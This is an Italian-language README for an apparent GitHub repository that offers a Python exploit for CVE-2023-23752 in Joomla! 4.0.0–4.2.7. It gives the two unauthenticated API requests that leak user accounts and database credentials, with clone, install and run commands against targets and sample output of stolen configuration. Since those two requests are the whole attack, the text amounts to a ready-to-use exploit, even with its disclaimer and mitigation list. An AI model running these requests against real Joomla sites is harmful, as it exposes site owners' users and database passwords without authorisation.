CVE-2023-23752 — Joomla! < 4.2.8 Divulgazione non autenticata di informazioni

⚠️ Dichiarazione di non responsabilità: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta. L'uso non autorizzato è illegale.

Indice

• Panoramica
• Dettagli della vulnerabilità
• Come funziona
• Requisiti
• Installazione
• Utilizzo
• Esempi
• Mitigazioni
• Crediti
• Riferimenti

Panoramica

Joomla! è uno dei sistemi di gestione dei contenuti (CMS) open-source più utilizzati. Le versioni 4.0.0 - 4.2.7 espongono due endpoint API senza un adeguato controllo degli accessi, consentendo a un attaccante non autenticato di recuperare informazioni sensibili: gli account utente registrati e, in configurazioni vulnerabili, le credenziali del database del sito.

La vulnerabilità è stata scoperta da Zewei Zhang di NSFOCUS TIANJI Lab e segnalata al progetto Joomla!, che ha rilasciato una patch nella versione 4.2.8. Le è stato assegnato CVE-2023-23752.

Questo repository contiene una versione Python dell'exploit Ruby originale rilasciato da ACCEIS.

Dettagli della vulnerabilità

Come funziona

Gli endpoint webservice dell'API REST di Joomla! dovrebbero applicare controlli di autenticazione e di accesso prima di restituire i dati. Nelle versioni interessate, due endpoint non riescono a eseguire correttamente questo controllo quando vengono chiamati con il parametro di query public=true, trattando la richiesta come se provenisse da un livello di accesso "pubblico" anonimo che dovrebbe esporre solo dati non sensibili — ma invece divulga informazioni interne.

Gli Endpoint Vulnerabili

GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true

• L'endpoint users restituisce l'elenco completo degli account registrati: id, nome visualizzato, nome utente, email e appartenenza ai gruppi.
• L'endpoint config restituisce la configurazione dell'applicazione, inclusi — quando l'installer non è stato rimosso/indurito — host del database, nome utente, password, nome del database, prefisso e impostazioni di cifratura.

Flusso dell'exploit

Lo script automatizza i seguenti passaggi:

1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console

Non è richiesta alcuna autenticazione, sessione o token CSRF in nessun momento: l'intero attacco consiste in due richieste GET non autenticate.

Requisiti

• Python 3.8+
• requests

pip install requests --break-system-packages

Installazione

git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages

Utilizzo

usage: CVE-2023-23752.py [-h] url

positional arguments:
  url         Base URL of the target, e.g. http://dev.devvortex.htb

options:
  -h, --help  show this help message and exit

Esempi

Utilizzo di base

python3 CVE-2023-23752.py http://127.0.0.1:4242

Contro un target in stile HTB

python3 CVE-2023-23752.py http://dev.devvortex.htb

Output di esempio

=== Users ===
  [123] Administrator (admin) - [email protected] - ['Super Users']

=== Site info ===
  Site name: My Site
  Editor: tinymce
  Captcha: 0
  Access: 1
  Debug status: False

=== Database info ===
  DB type: mysqli
  DB host: localhost
  DB user: joomla_user
  DB password: ********
  DB name: joomla_db
  DB prefix: sd8f2_
  DB encryption: 0

Mitigazioni

• Aggiorna Joomla! alla versione 4.2.8 o successiva: questa è l'unica soluzione completa.
• Limita l'accesso a /api/index.php/* a livello di web server o WAF se l'aggiornamento non è immediatamente possibile.
• Ruota le credenziali di eventuali account o utenti del database che potrebbero essere stati esposti tramite questo endpoint prima dell'applicazione della patch.
• Monitora i log di accesso per richieste non autenticate ai percorsi webservice /api/index.php/v1/.

Crediti

• Vulnerabilità scoperta da: Zewei Zhang, NSFOCUS TIANJI Lab
• Exploit originale (Ruby): noraj (Alexandre ZANNI) per ACCEIS — repository originale
• Versione Python: Bardlaudian

Riferimenti

• NVD — CVE-2023-23752
• Exploit-DB — EDB-51334
• Avviso PacketStorm
• Avviso di sicurezza Joomla!
• Avviso dello scopritore — NSFOCUS
• Exploit Ruby originale — Acceis